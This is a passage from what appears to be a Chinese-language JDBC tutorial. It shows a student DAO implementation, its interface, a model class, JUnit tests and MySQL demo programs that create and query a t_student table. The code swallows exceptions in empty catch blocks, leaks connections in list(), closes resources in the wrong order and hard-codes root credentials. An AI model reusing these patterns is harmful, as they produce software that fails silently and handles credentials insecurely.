@Override 149 public ArrayList<Student> list() { 150 ArrayList<Student> list = new ArrayList<Student>() ; 151 setConnection(); 152 Statement statement = null ; 153 ResultSet resultSet = null ; 154 Student student = null ; 155 try { 156 statement = connection.createStatement(); 157 // sql语句:查询对应id 158 String sql = "SELECT * FROM t_student" ; 159 resultSet = statement.executeQuery(sql); 160 161 while(resultSet.next()){ 162 student = new Student() ; 163 student.setId(resultSet.getLong("id")); 164 student.setName(resultSet.getString("name")); 165 student.setAge(resultSet.getLong("age")); 166 list.add(student) ; 167 } 168 return list ; 169 }catch (Exception e){ 170 }finally { 171 try{ 172 if (statement!=null){ 173 statement.close(); 174 } 175 }catch (Exception e){ 176 }finally { 177 try{ 178 if(resultSet!=null){ 179 resultSet.close(); 180 } 181 }catch (Exception e){ 182 } 183 } 184 } 185 shutdownConnection(); 186 return list; 187 } 188 189 } dao包----IStudentDAO接口 1 package dao; 2 3 import domain.Student; 4 5 import java.util.ArrayList; 6 import java.util.List; 7 8 /** 9 * Student对象的CRUD操作 10 * */ 11 public interface IStudentDAO { 12 // ----------------------------------增-------------------------------------------- 13 14 /** 15 * 保存学生对象 16 * @param student 17 * */ 18 void save(Student student); 19 20 // ----------------------------------删-------------------------------------------- 21 22 /** 23 * 根据删除指定学生 24 * @param student 学生对象 25 * */ 26 27 void delete(Student student) ; 28 /** 29 * 根据主键删除指定学生 30 * @param id 学生对象主键 31 * */ 32 void delete(Long id) ; 33 34 // ----------------------------------改-------------------------------------------- 35 /** 36 * 更新指定学生信息 37 * @param id 学生对象主键 38 * @param student 学生对象 39 * */ 40 void update(Long id,Student student) ; 41 /** 42 * 根据主键删除指定学生 43 * @param student 学生对象 44 * */ 45 void update(Student student); 46 47 // ----------------------------------查-------------------------------------------- 48 49 /** 50 * 查询指定id的学生对象 51 * @param id 学生对象主键 52 * @return Student if id存在,返回Student对象,否则返回null 53 */ 54 Student get(Long id) ; 55 /** 56 * 查询所有学生对象 57 * @return 所有学生对象 58 * */ 59 ArrayList<Student> list() ; 60 } domain包-----Student.java 1 package domain; 2 3 public class Student { 4 private long id ; 5 private String name ; 6 private long age ; 7 public void getString(){ 8 System.out.println("Student(id="+id+",name="+name+",age="+age+")"); 9 } 10 public void setId(long id){ 11 this.id = id ; 12 } 13 public void setName(String name){ 14 this.name = name ; 15 } 16 public void setAge(long age){ 17 this.age = age ; 18 } 19 20 public long getId() { 21 return id; 22 } 23 24 public long getAge() { 25 return age; 26 } 27 28 public String getName() { 29 return name; 30 } 31 } test包----StudentDAOTest 1 package test; 2 3 import dao.IStudentDAO; 4 import dao.impl.StudentDAOImpl; 5 import domain.Student; 6 import org.junit.Test; 7 8 import java.util.ArrayList; 9 import java.util.List; 10 11 public class StudentDAOTest { 12 IStudentDAO iStudentDAO = new StudentDAOImpl(); 13 @Test 14 public void testSave() { 15 Student student = new Student() ; 16 student.setId(164L); 17 student.setName("Wber"); 18 student.setAge(100L); 19 iStudentDAO.save(student); 20 } 21 @Test 22 public void testDelete() { 23 iStudentDAO.delete(161L); 24 } 25 @Test 26 public void testUpdate() { 27 Student student = new Student() ; 28 student.setId(161L); 29 student.setName("wa"); 30 student.setAge(15L); 31 iStudentDAO.update(161L,student); 32 } 33 @Test 34 public void testGet() { 35 iStudentDAO.get(162L).getString(); 36 } 37 @Test 38 public void testList() { 39 ArrayList<Student> list = iStudentDAO.list() ; 40 for(int i=0;i<list.size();i++){ 41 list.get(i).getString(); 42 } 43 } 44 }
JDBC: 创建SQL语句对象 Statement statement = (Statement) con.createStatement() ; 调用执行 statement.executeUpdate(sqlString); 释放资源 statement.close(); 一 : 创建表的操作代码: 1 package JDBC; 2 3 import java.sql.Connection; 4 import java.sql.DriverManager; 5 import java.sql.SQLException; 6 7 import com.mysql.jdbc.Statement; 8 9 public class Demo { 10 // 数据库地址 11 private static String dbUrl="jdbc:mysql://localhost:3306/JavaJDBC"; 12 // 用户名 13 private static String dbUserName="root"; 14 // 密码 15 private static String dbPassword="root"; 16 // 驱动名称 17 private static String jdbcName="com.mysql.jdbc.Driver"; 18 19 public static void main(String[] args) { 20 try { 21 Class.forName(jdbcName); 22 System.out.println("加载驱动成功!"); 23 } catch (ClassNotFoundException e) { 24 // TODO Auto-generated catch block 25 e.printStackTrace(); 26 System.out.println("加载驱动失败!"); 27 } 28 Connection con=null; 29 try { 30 // 获取数据库连接 31 con=DriverManager.getConnection(dbUrl, dbUserName, dbPassword); 32 System.out.println("获取数据库连接成功!"); 33 System.out.println("进行数据库操作!"); 34 // 创建sql语句 35 String sqlString = "CREATE TABLE t_student(id BIGINT PRIMARY KEY AUTO_INCREMENT,name VARCHAR(20),age INT)"; 36 // 创建语句对象 37 Statement statement = (Statement) con.createStatement() ; 38 // 执行sql语句 39 statement.executeUpdate(sqlString); 40 statement.close(); 41 } catch (SQLException e) { 42 // TODO Auto-generated catch block 43 e.printStackTrace(); 44 }finally{ 45 try { 46 con.close(); 47 } catch (SQLException e) { 48 // TODO Auto-generated catch block 49 e.printStackTrace(); 50 } 51 } 52 } 53 54 } 二 : 处理异常和关闭资源(对上部分代码优化) 1 package JDBC; 2 3 import java.sql.Connection; 4 import java.sql.DriverManager; 5 import java.sql.SQLException; 6 7 import com.mysql.jdbc.Statement; 8 9 public class Demo { 10 // 数据库地址 11 private static String dbUrl="jdbc:mysql://localhost:3306/JavaJDBC"; 12 // 用户名 13 private static String dbUserName="root"; 14 // 密码 15 private static String dbPassword="root"; 16 17 public static void main(String[] args) { 18 Connection con=null; 19 Statement statement = null ; 20 try { 21 // 获取数据库连接 22 con=DriverManager.getConnection(dbUrl, dbUserName, dbPassword); 23 System.out.println("获取数据库连接成功!"); 24 System.out.println("进行数据库操作!"); 25 // 创建sql语句 26 String sqlString = "CREATE TABLE t_student(id BIGINT PRIMARY KEY AUTO_INCREMENT,name VARCHAR(20),age INT)"; 27 // 创建语句对象 28 statement = (Statement) con.createStatement() ; 29 // 执行sql语句 30 statement.executeUpdate(sqlString); 31 } catch (SQLException e) { 32 // TODO Auto-generated catch block 33 e.printStackTrace(); 34 }finally{ 35 try { 36 con.close(); 37 statement.close(); 38 } catch (SQLException e) { 39 // TODO Auto-generated catch block 40 e.printStackTrace(); 41 } 42 } 43 } 44 45 } 三 : DML操作 操作与上述常见表相同,只需修改SQL语句 四 : 查询操作 1 package JDBC; 2 3 import java.sql.Connection; 4 import java.sql.DriverManager; 5 import java.sql.SQLException; 6 7 import com.mysql.jdbc.ResultSet; 8 import com.mysql.jdbc.Statement; 9 10 public class Demo { 11 // 数据库地址 12 private static String dbUrl="jdbc:mysql://localhost:3306/JavaJDBC"; 13 // 用户名 14 private static String dbUserName="root"; 15 // 密码 16 private static String dbPassword="root"; 17 18 public static void main(String[] args) throws ClassNotFoundException { 19 Class.forName("com.mysql.jdbc.Driver") ; 20 Connection con=null; 21 Statement statement = null ; 22 try { 23 // 获取数据库连接 24 con=DriverManager.getConnection(dbUrl, dbUserName, dbPassword); 25 System.out.println("获取数据库连接成功!"); 26 System.out.println("进行数据库操作!"); 27 // 创建sql语句 28 String sqlString = "select * from t_student"; 29 // 创建语句对象 30 statement = (Statement) con.createStatement() ; 31 // 执行sql语句 32 ResultSet resultSet = (ResultSet) statement.executeQuery(sqlString); 33 // 取出查询结果 34 while(resultSet.next()){ 35 long id = resultSet.getLong("id") ; 36 String nameString = resultSet.getString("name") ; 37 long age = resultSet.getLong("age") ; 38 System.out.println(id + " " + nameString + " " + age); 39 } 40 } catch (SQLException e) { 41 // TODO Auto-generated catch block 42 e.printStackTrace(); 43 }finally{ 44 try { 45 con.close(); 46 statement.close(); 47 } catch (SQLException e) { 48 // TODO Auto-generated catch block 49 e.printStackTrace(); 50 } 51 } 52 } 53 54 } 核心代码: // 执行sql语句 ResultSet resultSet = (ResultSet) statement.executeQuery(sqlString); // 取出查询结果 while(resultSet.next()){ long id = resultSet.getLong("id") ; String nameString = resultSet.getString("name") ; long age = resultSet.getLong("age") ; System.out.println(id + " " + nameString + " " + age); } 解释: executeQuery返回一个ResultSet,是对应的表,开始指向第一行,也就是每一列的名称,此处为id,name,age,然后通过next()将光标下移,通过getLong(String 列名称)取出 或 getLong(Long 列号)取出(从1开始).